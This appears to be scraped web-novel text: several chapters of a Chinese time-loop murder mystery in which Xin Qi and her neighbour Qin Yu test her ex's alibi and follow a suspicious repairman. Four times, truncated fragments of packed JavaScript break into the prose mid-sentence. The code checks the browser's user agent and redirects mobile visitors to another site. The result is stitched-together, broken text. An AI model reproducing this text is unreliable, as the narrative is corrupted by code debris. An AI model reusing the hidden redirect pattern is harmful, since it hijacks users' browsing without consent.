0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642299|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信，一个语音电话直接打了过去。 那边于子豪听到电话提示音响起，他将电话拿起来一看，发现打来的人是辛琪，他脸色微变，下意识地看向了自己对面的人。 他对面的女士却语气温和道：“是谁打来的？” “哦，一个老同学，可能找我有事吧。” 那女士没做多想：“那你快接吧。” 于子豪对她赔了个笑，然后接通了辛琪打来的微信电话。他生怕女人看出什么端倪，连称呼都不敢说出口：“有什么事吗？” 辛琪在电话那头低低笑了一声：“我还在奇怪你为什么拒绝了我的邀请，原来是跟别人有约了啊。” 于子豪顿时感觉背脊一阵发凉，不可置信地转头看向了餐厅大门口的方向。 在那里，辛琪一只手打着电话，正面带微笑地看着他。 看到他朝自己这边看过来了，辛琪还很友好的跟他挥了挥手。 “朝思暮想”的人就出现在自己眼前，然而于子豪心里现在却毫无一点绮思，只有深深的恐惧。 这种恐惧比三年前辛琪拿着扫把出现在自己家门口更甚。 想到自己对面还坐着一个人，于子豪赶紧收回了视线，做出一副若无其事的样子。 好在女人正专心致志地吃着饭，并没有察觉于子豪的异常。 “所以你想要干嘛？” “你出来一趟，我有话要问你。” 于子豪心里升起了小小的警惕：“什么话？” 听出了他话中的小心，辛琪冷笑了一声：“放心，不是关于你出轨的，但你要是不出来的话，我可就不敢保证了……” “好好好，我答应你了，你千万别乱来啊！” 听到于子豪语气突然变得激动，女人抬头略带疑惑地看了他一眼。 于子豪立马把电话挂掉，对着女人笑了笑：“没什么，这个老同学找我借钱来着，我本来想拒绝的，但是她说我不借给她，她就要做一些极端的事。” “所以你答应了？” 于子豪无奈一笑：“我还能怎么办？” 女人脸上立马出现了忿忿不平的神色：“子豪，我跟你说了多少次了，不要那么善良！你怎么老是这样？” “我又不缺这点钱，借给她也没什么。” 女人还是满脸的不高兴，于子豪温声哄了她好一会，她才勉强消了气。 “下次不许这样了啊！”她警告道。 于子豪举起双手表示投降：“好，我保证。唉，这个世界上果然只有你才能管得住我。” 看到女人被他这番话逗得心花怒放，他立马找了个借口溜出餐厅。 怕被女人发现，他还将辛琪带到了一个隐蔽的角落里。 “害我等了那么久，”辛琪双手环胸抬头看于子豪，“我差点就要冲进去告诉对面的女士，你在微信上跟我求复合呢。” 这个地方几乎没有人出没，除了于子豪和辛琪，便只有一个跟着来的秦屿。 于子豪此时又变了一个脸色，他满脸深情地看着辛琪，好像什么偶像剧的男主角。 “琪琪，我是真的想跟你复合，那个女人……是她在追求我，我一直表示拒绝，但她就是不肯放过我。” “她是我生意上的伙伴，我也不敢太得罪了她。” “琪琪，你能明白吗？” 12. 第十二章 辛琪盯着于子豪那副深情的面孔，半天没有说出话来。 她跟于子豪分手是三年前的事，她几乎快把这个人给忘了，要说“旧情”什么的那更是没有。 辛琪只是在思考，原来人在无语的时候是真会想笑的。 她不知道该怎么回应于子豪，她也觉得自己无论怎么回应，于子豪还是会沉溺在自诩深情的戏码中。 好在跟在她身旁的秦屿看不下去了，他指着于子豪鼻子吼道：“喂，你这人要不要点脸啊？做了那么过分的事，还要求辛琪明白你？” 于子豪好似这才发现第三个人的存在，他将视线转到秦屿身上，好整以暇地扫了他几眼，然后嘴角轻蔑的一瞥。 “你是琪琪什么人啊？我们俩的事跟你有什么关系？是外人的话就别管别人的家务事好吗？” “家务事？”秦屿气笑了，“我记得辛琪说过你们已经分手三年了吧？这能叫家务事吗？” 于子豪理了理自己衣服的褶皱：“就算我跟琪琪分手了，那也比你跟琪琪的关系亲密的多。” 他夸张地唉声叹气了一番：“我们曾经经历过的一切，你又怎么可能知道呢？” “你……我……” 秦屿确实没话说了，他跟辛琪到底算什么呢？ 虽然一起走过了好几次时间循环，不过他们严格上来说只是住在对面的邻居罢了。 他根本没资格管她身边的事。 看见秦屿垂头丧气的样子，于子豪扬了扬了头，像一只骄傲的公孔雀。 他再次含情脉脉地看向辛琪：“琪琪，我就知道你能明白我的对吗？” 辛琪没有正面回答他这问题，只问他：“你看起来那么在乎我，那么喜欢我，为什么我约你你不出来？” “我……我……” 于子豪刚刚自信的模样通通消失不见，他小心的对辛琪赔着笑：“我都说了，等会要去隔壁市一趟嘛。” “什么时候去？” “晚上九点的飞机。” “算算时间也该去机场了，”辛琪掏出手机看了一眼，“你都要走了，还有空在这里和别人一起吃浪漫西餐？” “什么浪漫不浪漫的，”于子豪打着哈哈道，“我都说了，她是我的合作伙伴，我们吃完饭就要一起去谈生意了。” “合作伙伴？谈生意？”辛琪似笑非笑地看着于子豪，“我怎么记得隔壁市是旅游城市来着？你们去谈的什么生意？” “就是一些旅游相关的生意，我怕我解释太多了你也听不懂。” “好，那我问你，”辛琪朝于子豪走近了些，她直视着他，眼波里流转着奇异的光泽，“在你心中是我重要还是生意重要？” 她这话听得秦屿双目圆瞪，于子豪更是不假思索地回答：“当然你是重要了！在我心中没有任何东西能比得过你！” “那我都约你吃晚餐了，你为什么不直接推掉去隔壁市的计划？” 于子豪又摆出一副为难的神情：“琪琪，我也是没办法，这计划在一个星期前就决定了，这机票酒店什么的我早就买好了，还有……我的其他合伙人也在那里等着呢！” “我总不好放人家鸽子吧。” 他伸出手想要握住辛琪，但被辛琪躲开，他只好尴尬的将手缩了回去。 “我现在的努力都是为了我俩能有个美好的未来啊！” 辛琪没有回答，只是默不作声地看着于子豪，看得他额头上不停冒着冷汗。 过了好半晌，辛琪才开口：“真的？” 于子豪重重点头：“当然是真的！” 秦屿在一旁看得心焦：“喂，辛琪，你这就相信了他了吗，他……” 辛琪抬手打断秦屿的话，一脸笑容的对着于子豪说：“那把你的订单给我看看吧。” 于子豪一脸迷茫：“什么订单？” “你机票酒店的订单啊，你不是说你早就买好了？” “哦，好！” 于子豪反应过来，立马拿出手机翻到了自己的订单页面，又将它们展示在辛琪眼前。 “琪琪你看，机票酒店我很早之前就买好了，我真不是故意要拒绝你的！” 辛琪仔细看了一下日期，发现于子豪确实是在一个星期前订好了机票和酒店。 机票是今晚九点出发的，于子豪到隔壁市时差不多已经十二点半了。 也就是说，按照于子豪原来的计划，辛琪被杀时他人还在飞机上。 不过这张订单还是给辛琪发现了一点奇怪的地方。 她将手机交还给于子豪：“一男一女去隔壁市谈生意，你只订了一张大床房？” “啊，这个……”于子豪肉眼可见地慌乱起来，“我们都是各自预订各自的房间，这样比较方便嘛……” 辛琪也不知道是信了还是没信，她低低地笑了一声：“加油，祝你能顺利地谈下这笔生意。” 说完，她便掠过于子豪，朝酒店外走去。 于子豪赶紧追了几步：“琪琪，那我们复合的事……” “以后再说吧。” 辛琪对着他挥了挥手，然后同秦屿一起走出了酒店。 这边的风景很不错，到了晚上每座建筑更是把灯亮起，将漆黑的夜空照得透亮。 两人便不急着回去，而是沿着街边散起了步。 散步时辛琪一直捧着手机在鼓捣着什么，秦屿想问问她关于于子豪的事，却一直没找到机会。 他只好闷着头，陪在辛琪身边走着。 “你看这个。” 两人不声不响地走了片刻，辛琪先主动找秦屿说了话。 她将手机递在了秦屿眼前：“今天在日落餐厅里，于子豪对面的女士是不是就是她？” 秦屿看了一眼，辛琪手机屏幕上出现了一个女人的照片。 她笑容可掬，满目温和，俨然就是今天于子豪面对着面吃饭的那位。 照片下方还附了一行文字。 “维也纳酒店总裁……”秦屿面上一惊，“她是酒店的老板？” 辛琪冷笑一声：“哼，我就说他怎么突然去五星级酒店工作了，原来是勾搭上这里的老板了。” 秦屿偷偷看了一眼辛琪的神色，发现她脸上满是戏谑，丝毫没有被再次“背叛”的悲伤和气愤。 但他还是忍不住开口问她：“你……真的要答应于子豪吗？” 辛琪不解：“答应什么？” “就是跟他复合什么的……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642300|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辛琪将脚步停下，满脸问号地看着秦屿：“不是，你是觉得我看起来很像抖M吗？” “我怎么可能跟那种人复合？看他一眼都嫌恶心了好吧。” “那你今天跟他说的话是……” “你在想什么啊？”辛琪无语道，“你忘记了我们今天来是干嘛的吗？我当然是为了确认他是不是凶手啊！” “啊？” 这也不怪秦屿误会，他觉得辛琪跟于子豪说得那些话实在太像一个来捉奸的女友了。 见秦屿还一脸茫然，她只好给秦屿耐心解释道：“于子豪不是说自己要去隔壁市吗？如果他真去了，就没有时间上门来杀我了，所以我想确认清楚他说的是不是假话。” “我仔细看了他的机票和酒店，发现他是真的要去一趟隔壁市，我就几乎能肯定了他不是我要找的凶手。” 秦屿顺着辛琪的话想了一下，提出自己的疑问：“那万一他是故意的呢？比如说他原本没有这个计划，只是为了打消你的怀疑故意订了机票和酒店？” “不太可能，”辛琪摇头，“我看到他的机票和酒店都是在一个星期前定的，这说明他早有去隔壁市的计划，并不是临时起意。” “那……他也可以订了机票和酒店然后转头上门来杀你，”秦屿沉吟道，“这也是混淆视线的一种方法。” 辛琪再次摇头：“这次他要跟维也纳酒店的老板一起去，他要是想混淆视线就没必要叫上她。” “很明显，他这次去隔壁市是要跟那位老板一起渡假的。” 秦屿听得满脸黑线：“一边跟新欢忙着旅游，一边还想挽回旧爱，这人真是……真是……” 他都不知道该找什么形容词好。 辛琪看起来倒是一副云淡风轻的模样，她看了一眼自己手机上那位酒店老板的照片，嘴角轻轻勾起。 “不用急，他迟早会为此付出代价的。” * 两人这次的循环是在大街上结束的。 他们走了半晌觉得饿了，便去找了一家街边小店吃了一顿，吃完后又继续在附近散步。 只是今天是周五，街上一直很热闹，两人都以为时间还早便没急着回家。 等到辛琪胸口开始发疼，她才意识到时间已经到晚上十二点了。 她胸口潺潺流着血液，将她身旁的小女孩吓得尖叫一声，路人更是作鸟兽状散开纷纷远离了她，当然也有几个好心人问她怎么样了，准备给她拨打急救电话。 秦屿明明早知道她到了循环时间就会胸口开始流血，然而他站在她身旁，却是脸色发白，一副被吓傻了的样子。 他颤抖着双手扶起辛琪，嘴唇吐出破碎的话语：“辛琪！坚持住啊……辛琪！不要死！” 搞得在剧痛中的辛琪很想翻他一个白眼。 这是她能控制的吗？叫她不要死…… 她也不想死啊，可是这凶手却一直找不到，她还能有什么办法，只能老老实实地等着十二点的到来，等着新的循环开始。 只是，辛琪也明白她不能再浪费时间继续“死”下去了，要不然就真的要死了。 最后快要循环的时候，她头脑迷糊地想着。 下一次，她一定要抓住凶手！ 13. 第十三章 17:00。 辛琪和秦屿并肩坐在秦屿客厅的沙发里，直愣愣地看着光滑的地板，半天也不说一句话。 因为辛琪发现自己已经想不出有谁知道自己的地址，还跟自己有矛盾的了。 她平时忙于工作，很少跟人来往，知道她地址的没几个，跟她有矛盾的人就更少了。 “你再仔细想想？”秦屿循循善诱道，“不一定是那种水火不容的矛盾，就那种跟你有小小的摩擦，小小口角的人我们也可以调查看看？” “我真的不知道还有谁了，我实在是想不起来了，”辛琪崩溃地揉着自己的太阳穴，“到底是谁要杀我，又为什么要杀我啊？” 她现在甚至希望凶手从天而降，再杀她一次，这样她就不用在这里死命耗自己的脑细胞了。 见辛琪这样崩溃，秦屿也不好催她，只在她身旁安静地陪着她。 不过他很快又想出了一个好主意。 “你要不要翻翻看你的手机？看看最近跟什人么聊了天，做了什么事……这样也许能帮你找找记忆？” 现代人生活的一切都离不开手机，想要调查一个人的生活轨迹，从这里入手是最好的方式。 听了秦屿的话，辛琪苦着一张脸翻开了自己的手机。 她先看了一下所有通讯软件的聊天记录。 微信上只有亲戚朋友偶尔的问候，没什么特别的内容，有矛盾的人大都已经被她拉黑了，好几年没再联系，比如那个于子豪。 工作专用的聊天软件除了一些平时的工作交流，其他的就是在吐槽上司和老板。 看起来都没什么问题，辛琪又点开了自己的通话记录。 所有打来的电话几乎都是陌生号码，这个年头会给你打电话的除了外卖快递就是诈骗推销。 并没有翻到什么有价值的内容，辛琪将手机随手一放，然后整个人摊在了沙发上。 “不行啊……还是没什么线索……” 这下连秦屿都跟着一起犯愁了。 他在客厅里走来走去，目光无意识落到了自己那放着众多手办的柜子上。 这个柜子又高又重，几乎占领了半面墙，秦屿一个人当然是抬不动的，他当初专门找了人帮自己抬到了家里，再把它们通通安装好。 他忽然想到了什么。 “……你家里最近买过什么新家具，或者修过什么东西吗？” 除了亲戚朋友和外卖快递，其他能知道辛琪地址的只有帮她修家电或者抬家具的人了。 辛琪猛地从沙发上撑起了身子。 “你别说，还真有一个，”辛琪看着秦屿，“而我还跟他发生过一点矛盾。” 那是一两个月之前的事了。 辛琪那时候房间的灯不亮了，她便找了一个维修工来家里。 一开始还好好的，但就在维修过程中，辛琪跟维修工起了点口角。 “出什么事了？”秦屿问。 “这人跟我漫天要价，”辛琪满脸的一言难尽，“打电话的时候说的是三十，进门调查完故障就跟我要价三百了。” 她好像回忆起了什么不愉快的事，整张脸都皱了起来：“他的态度可强硬的不得了，信誓旦旦的跟我说我的灯没三百搞不定。” “那你怎么处理的？” “我还能惯着这种人吗？当然是把人赶走，决定不修了。” 后来还是辛琪自己在网上找了教程将灯泡换好的。 “现在想想我早该自己试着去修的……那个维修工最后还是收了我三十的上门费！” 想到这里，辛琪就觉得肉疼。 “那我们要不要先跟这人接触一下？”秦屿道。 离十二点已经没有几个小时了，粗略的算算他们只剩下六次循环机会，现在是任何一点线索都不能放过。 辛琪自然是没什么异议。 她点开之前下订单的APP，翻找了一会后，找到了之前那位维修工的电话。 她在电话里告诉维修工自己房间里的灯坏了，需要修理，维修工很快答应，告知辛琪自己半个小时之内就会到。 “从电话里听起来倒是没什么异常。” “也有可能是装的，”辛琪看着自己手机里刚刚拨出的号码，“不过只要他上了门大概就能见分晓了。” * 还不到半个小时，辛琪的房门便被人敲响。 她从猫眼里看了一下，发现来的是一个矮胖的中年男子，他左手提着工具箱，右手拿着个梯子，从外表看上去就是一个普通的家电维修工。 辛琪按下门把手，将大门打开了。 维修工一见到辛琪，脸上便露出了个笑容：“小姑娘，你之前是不是也找过我？” “是啊，没想到你还记得。” “那次不是没修成吗，我当然记得，”他脸上一直保持着和蔼的笑，仿佛完全不介意之前和辛琪的不愉快，“现在你这房间里的灯又坏了？” “嗯，我自己修过之后它又出现故障了。” “嗐，我上次说什么来着？三百块你还嫌贵，现在出问题了吧？” 辛琪顺着他的话说：“你说得对，我上次就该听你的。” “麻烦你赶紧看看是哪里出了问题吧。” 说罢，辛琪微微侧身让维修工进来了。 维修工脸上的笑意却在看到客厅里的秦屿后戛然而止。 他脚步一停，开口问辛琪：“小姑娘，上次我记得这房子里就你一个人，你新交了男朋友啊？” 秦屿微微蹙眉。 这问题有些冒犯，不像是正常维修工会问出口的。 辛琪没承认也没否认，只是笑着说：“您赶紧去看看我房间里的灯到底是怎么回事吧。” 维修工之前来过一次辛琪的家，对这里也算熟悉，听到辛琪的话后，他先一步走进了她的卧室中。 这位维修工的行为让人感觉有些无礼，但这也只能让人看出他或许是个很自来熟的人，并不能让辛琪判断出他是凶手。 她和秦屿交换了一个眼神，跟在维修工身后进入了房间。 维修工站在开关旁，反复的开灯关灯，测试着房间里的灯。 他开关了几下后，面带疑惑的往天花板上的看了看。 “小姑娘，你这灯真的有问题吗？我看着一切正常啊。” 辛琪房间的灯当然没问题，她在电话里说的那些，无非就是引维修工来的幌子罢了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642301|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她此刻不慌不忙地开口：“这个灯就是时好时坏，有时候突然不亮，有时候又变好了，我也搞不懂到底是什么情况。” 维修工眼睛滴溜溜的一转：“那我先帮你检查检查吧，看看是不是有什么故障。” 辛琪应了一声，维修工便关闭了电源总闸，然后架好梯子，把灯罩拆了仔细查看。 过了几分钟，辛琪听见他哀叹一声，做出一副很苦恼的表情。 辛琪连忙问道：“师傅，我的灯到底出了什么状况？” 维修工苦着一张脸说：“你这个问题，有点难搞啊……连我都不一定搞得定。” “还好你现在找到了我，要是再拖久一点，可能你整个房子的电器都要跟着遭殃！” “啊？这么严重？那该怎么办？” “我尽量试试吧，但是这个价格嘛……”他看上去很难为情的样子，“可能要贵了点。” 也不知道他这人是本来就贪财，还是在故意演一个贪财的维修工给辛琪看。 辛琪望着自己完好无损的灯，心中冷笑一声，面上还是维持着焦急的神色：“师傅，你开个价吧。” “我也不说多的，一口价，五百！”维修工对辛琪比出五根手指。 辛琪还没说话，在一旁的秦屿先急急开口：“五百？修个灯要五百？你这是抢钱吧？” “年轻人，说话不要那么难听，什么抢钱不抢钱的……”维修工嘟嘟囔囔的倒开始不满起来。 “我告诉你，这个价还是我特地打过折的，你要是找别人来修，收费肯定比我更贵！” 秦屿继续与他争辩：“不是，修个灯要五百也太离谱了吧？” “你们不愿意接受这个价格，那就去找别人吧！”维修工说着，作势要从梯子上下来。 他还不忘记教训秦屿：“我说你啊，谈了女朋友不愿意给人家花钱，以后看人家小姑娘还愿不愿意跟着你！” 眼看维修工是真的要走了，辛琪张了张嘴正要劝架，忽然见到秦屿掏出了手机。 “五百是吧，”他一张脸侧对着辛琪，让辛琪看不清他的表情，“你的码在哪里，我来扫。” …… 维修工收了钱，心满意足地去“修”灯了，虽然辛琪看他只是拿出了几个灯泡不断地换来换去，装出很忙碌的样子。 辛琪便看向了身边认真盯着维修工“修”灯的秦屿。 她的眼神过于直白，盯的秦屿浑身不自在，脸颊开始诡异的泛红。 “你看着我干嘛？” 以免维修工听到，辛琪用手机打了几个字，示意秦屿看。 【你怎么突然付钱了】 秦屿也在手机上打字回复。 【他有可能是凶手嘛，我当然要把人给留下来了】 【没关系，反正这钱等到新的循环后就回来了】 辛琪点了点头，又像是想到了什么，在手机上快速地编辑着文字。 【不对，万一这次我们找到凶手，循环结束了，你的钱就没有了】 …… 【没关系，如果能抓到凶手，花五百也很值得】 【你真想得开啊，不愧是清澈而……的大学生，我至今还在心疼我那三十块钱呢】 14. 第十四章 维修工对着辛琪房间里的灯鼓捣了半个小时后，他才终于停下了手里的“工作”。 “修得差不多了，”他边说边从梯子上下来，“拉开电闸看看吧。” 辛琪依言做了，回到房间时，维修工正在不停地按着开关，测试着灯的好坏。 测试了几下后，维修工笑着对辛琪说：“你看，现在没问题了吧？” 辛琪望着天花板上那比之前黯淡许多的灯光点了点头：“确实没什么问题了，这次真是麻烦你了。” “不麻烦，应该的！”维修工已经开始收拾起自己的工具箱了，“小姑娘，你以后有什么问题就找我啊，我都包给你解决的！” 辛琪只是笑了笑，并没有答他这话。 只有一种情况下，辛琪觉得自己会再找他，那就是这维修工真的是凶手。 维修工收拾完工具箱，跟辛琪道了个别便拿着梯子离开了。 辛琪站在门口，看着他走入走廊，再乘坐电梯下楼。 秦屿来到她身旁：“除了有点贪财以外，目前看起来好像没什么可疑的地方。” 辛琪看着电梯屏幕上不断变化的楼层数字，眼睛微微眯起：“但也没有任何强有力的证据证明他不是凶手。” “今天这一出说不定是他装出来的。” “说得也是，”秦屿点头道，“那你接下来打算怎么办？” “还是老办法，跟踪他，看看他会不会露出什么马脚。” “好。” 两人商量完了，这时电梯显示刚好到达一楼，他们两人于是连忙乘坐电梯跟着下楼。 到达一楼时，两人远远看到维修工抬着梯子走出了单元楼，他们悄悄跟在后面，跟维修工保持了一个不远不近的距离，以免被他发现。 维修工跟上次的外卖员不同，他并没有在小区里逗留，而是直接往大门走去。 他手上那个大大的梯子应该是找门卫借的，辛琪见他走进门卫室将梯子归还了，才悠悠地走出小区大门。 出了小区大门后，维修工并没有乘坐任何交通工具，而是朝一个方向不快不慢地走着，这倒是方便了两人更好的跟踪他。 两人隐藏在人群中，亦步亦趋地跟在维修工后面，辛琪发现他并没有往城市内走去，而是慢慢靠近了一片老旧的郊区。 辛琪所在的这片区域是近二三十年才开始建设的，大多数建筑和道路看上去都繁华壮丽，但往区域边缘走走，还是能发现上个世纪留下的痕迹。 有不少老旧的楼房“格格不入”地伫立在其中，它们的墙面灰暗破败，甚至有不知名的绿色植物在上面攀缘生长。 虽说近十年来有不少不能住人的房子已被拆除，但也有少数楼房顽固地停留在原地，渐渐成了一座无人问津的死气沉沉的空楼。 那位维修工便提着工具箱踏入了这样的区域。 两人一边跟着他，一边探看了周围的环境。 这附近几乎已见不到什么人了，偶尔只有几个上了年纪的老人从阳台上穿过。 他们穿梭的速度极快，对辛琪和秦屿这两个外来者漠不关心。 辛琪常常余光瞥见有人在楼房上经过，但她仔细去看时，却什么也看不见。 只有被挂起来晾晒的衣物在空气中轻轻飘着。 这让人感觉住在这些楼房里的不是活生生的人类，而是滞留在原地的鬼魂。 没什么人住，环境自然也没有人打理。 道路上坑坑洼洼，杂草丛生，积水攒的遍地都是，还有不少垃圾堆在路上，风一吹过，便有一股恶臭扑面而来。 “你知道这个地方让我想起了什么吗？” 空荡荡的区域中，辛琪的声音冷不丁地响起，倒把秦屿吓得一抖。 “想起了什么？” 辛琪一双眼睛在四周不断地扫来扫去：“人少，又远离城市中心，这个地方太适合用来干坏事了。” “比如……杀了人之后抛尸什么的。” 秦屿知道这只是辛琪的臆测，没有任何证据证明这个地方真的藏有尸体。 但当那一股股垃圾腐败的腥臭味传来时，秦屿还是不可避免地怀疑，这味道到底来源于何处。 那真的是垃圾吗？ 他不由的将脚步放慢了些，仔细盯着面前的道路。 越往深处走就越见不到什么人影，现在与他们作伴的只有那堆成山一样的垃圾。 他很怕自己会在垃圾堆里看到一只脚、一截手臂或者一双瞪得浑圆的眼睛。 好在这一路上，他除了花花绿绿的垃圾之外什么也没发现。 维修工的脚步停了下来，两人看到他拐了一间破破旧旧的楼房里。 这栋楼房比他们一路上见过的房子都破，它已经不能称之为一栋完好的建筑，辛琪看到楼体有的地方都坍塌了下来，地面上堆积了许多脱落的水泥和墙砖。 经过这栋楼的人都得警醒些，说不定哪块残渣会从天而降，正中人的头顶。 总之，辛琪觉得应该没有人会在这座摇摇欲坠的建筑里居住，连流浪汉大概都不会选择这里。 辛琪戳了戳秦屿，看着眼前漆黑的楼道口：“你说，那个维修工去这里干什么？他不可能就住在这种地方吧？” “是有点怪怪的，”秦屿拖着下巴沉思，“他修一次灯就跟抢钱一样，收费那么贵，肯定能住上比这里更好的地方……而且我想这里也没有什么家电需要他修的吧。” “那就只有一种解释了，他一定有什么不可告人的秘密，跑到这里来多半是想要做什么坏事。” “坏事……”秦屿想起刚刚辛琪的话，脸色微微变白，“你说会不会是……” 辛琪知道秦屿指的是什么：“不排除那种可能，但要跟上去看看才知道他到底在里面干什么。” 如果他真在里面藏了尸体什么的，那他是杀害辛琪的凶手的可能性就更大了。 好消息，他们这次或许能找到凶手，结束循环。 坏消息，凶手可能是个穷凶极恶的连环杀人犯，他不止杀了辛琪一个人。 想到这一点，两人脸上都没有找到凶手的喜悦，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14642302|156497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有满满的凝重。 “我先上去确认一下情况吧，”两人相对着沉默了一会后，秦屿主动开口，“你就暂时在下面等着。” 辛琪当然不同意：“那可能是个连环杀人犯，你一个人上去也太危险了，我跟你一起去！” “咱们最好是留一个人在下面，”秦屿开口劝她，“这样万一出什么状况了，还可以马上报警。” “我跑得比你快，真的出事了，说不定还能逃过一劫。” 无论从哪个方面看，秦屿这个想法都堪称是当下的最优解。 辛琪深吸了一口气，又再吸了一口气，她强迫自己压下心中的担忧和恐慌，对着秦屿缓慢点了点头。 “好，我知道了，你一切小心，打不过就跑，千万不要冒险！” 他们这次是离答案最近的一次，按照他们之前的推理，找到凶手说不定就能破除循环，要是他们确认了维修工就是凶手，新的循环不再开始了怎么办呢？ 所以这次的行动必须小心再小心。 秦屿对她安抚地笑了笑：“放心吧，我不会有事的，那个维修工看着比我矮多了，我肯定能一拳就把他打在地上爬都爬不起来！” “……那你上次还被凶手给反杀了呢。” “……”秦屿差点被自己的口水呛住，“我上次那是没准备好，这次肯定不会了！” “再说了，这不是还有你在吗，要是我十分钟没回来，你就立马报警！” 说完，他从那一堆建筑残骸里挑了一块砖头，直奔楼房而去。 他的影子很快被吞没在漆黑的楼道里。 天色逐渐黑将下去，这附近只有稀稀拉拉的几盏路灯照明，但那昏暗的灯照起小路来都勉勉强强，更别说辛琪眼前这一栋没人来的楼房了。 秦屿进入建筑中，辛琪便再也看不见他的身影，她只能微微侧着身子凝神细听里面的动静。 但不知是否秦屿怕被维修工发现，刻意将动作放得很轻，无论辛琪再怎么努力，都听不到里面传出一丝声响。 她只好盯着自己的手机，看着时间一秒一秒地过去。 …… 十分钟的时间很短，辛琪早上洗个脸刷个牙差不多就过去了；但十分钟的时间又很长，当它关联到一个人的安危的时候，每一分每一秒都让人觉得无比煎熬。 毕竟杀掉一个人可用不着十分钟那么久。 因此当十分钟的时间一过去，楼道里还没有任何动静时，辛琪毫不犹豫地拨通了报警电话。 她告诉了警察自己所处的位置和发生的事故，警察立即表示会在十分钟之内赶到。 辛琪应了一声，然后挂断了电话。 但她心里却无法平静下来。 十分钟……难道又要让她等上十分钟吗？ 她觉得自己没有那个耐心了，她要是再等下去秦屿说不定就真的凉了！ 打定了主意，辛琪在那一堆残渣中挑了一块板砖，直直地进入了楼房。 秦屿可千万不要出事啊，进入楼房之前，她在心里如此祈祷着。 15. 第十五章 楼道里远比辛琪想象的黑，怕惊动到维修工，辛琪不敢打开手机电筒照明，只能摸着楼梯生锈的栏杆，慢慢爬上楼。 这里又空旷无比，安静的连一点微小的动静都能被捕捉到。 走在楼梯上时，辛琪不自觉地放轻了脚步。 楼房有六层高，每一层住着两户人家，辛琪并不知道维修工和秦屿在哪里，只能一层一层挨家挨户地寻找着。 有许多屋子早已没了门，她进去搜寻一圈除了遍地的灰尘和垃圾之外便什么也发现不了。 这栋楼房里荒凉无比，没人会把它当作栖身之地，她心里越来越疑惑，那个维修工跑到这里来到底是想干什么了。 一到五楼辛琪都仔仔细细搜查过了，却并没有找到秦屿和维修工的身影。 从五楼的住户里出来，辛琪准备前往这楼梯的最顶层。 维修工和秦屿肯定就在这一层了，辛琪听到自己的心跳声正在逐渐放大，汗水也从背上渗了出来。 她脚步放得更慢，一步一步踏上阶梯，力求不发出一丁点动静，在黑暗中她只能听见自己“咚咚咚”的心跳声。 辛琪爬上最后一阶楼梯，来到了第六层。 在黑暗的环境中待了许久，她的双眼已经适应了些许。 因此她一眼便看到了倒在楼梯口的那个熟悉的人影。 辛琪当下再也顾不得许多，脚步急促地朝着秦屿跑了过去。 他躺在地上昏迷不醒，不知是生是死，辛琪心急如焚地摇晃着他的身体，呼唤着他的名字：“秦屿！秦屿！” 秦屿双眼依旧紧闭着，毫无回应。 然后辛琪突然感觉自己撑在秦屿身侧的手摸到了什么黏腻的液体。 这液体又湿又滑，还带着浓重的腥味。 辛琪对它很熟悉了，每当循环开始的时候，她的胸口便会在剧痛中流出这样的液体。 是血。 大片的血液正从秦屿身下流出。 辛琪这才注意到，秦屿的身体很冰，冰到她的手指都已经发木了。 同样湿滑的液体也从辛琪眼中流出。 但跟血不同的是，它咸咸的，让辛琪眼中的世界开始变得模糊不清。 在视线受到阻碍之时，出于自我保护，人的听觉会变得无比灵敏。 空旷的楼道里，除了自己的呼吸声，辛琪还敏锐地捕捉到了一阵窸窸窣窣的声音。 很微弱很破碎，像是有什么东西在地上摩擦。 这声音太小太小，在寂静无比的楼道中几不可闻，但辛琪还是听见了。 因为她发现这声音在逐渐靠近自己。 被悲伤和焦急占据的脑子在此刻终于变得清醒一些。 辛琪忽然察觉出有什么不对劲的地方。 秦屿死了在这里，那维修工呢？ 自己为什么没有见到他？ 窸窸窣窣，窸窸窣窣…… 声音越来越近，越来越响，也变得越来越急切。 辛琪觉得自己已经知道问题的答案了。 她猛得朝自己身后看去。 漆黑的楼道中，她只来得及看到一个矮胖的身影迅速靠近了自己，然后便感觉一阵剧痛从头顶传来—— * 辛琪苏醒后第一件事就是查看自己的手机。 星期五，18:00。 但看完这些还不够，她掀开被子下床，急匆匆地跑到屋子大门前，将门给打开。 她对面那扇门紧闭着，毫无动静。 辛琪跑到那扇门前，开始“砰砰砰”的大力敲着门。 好在那扇门很快被人打开了。 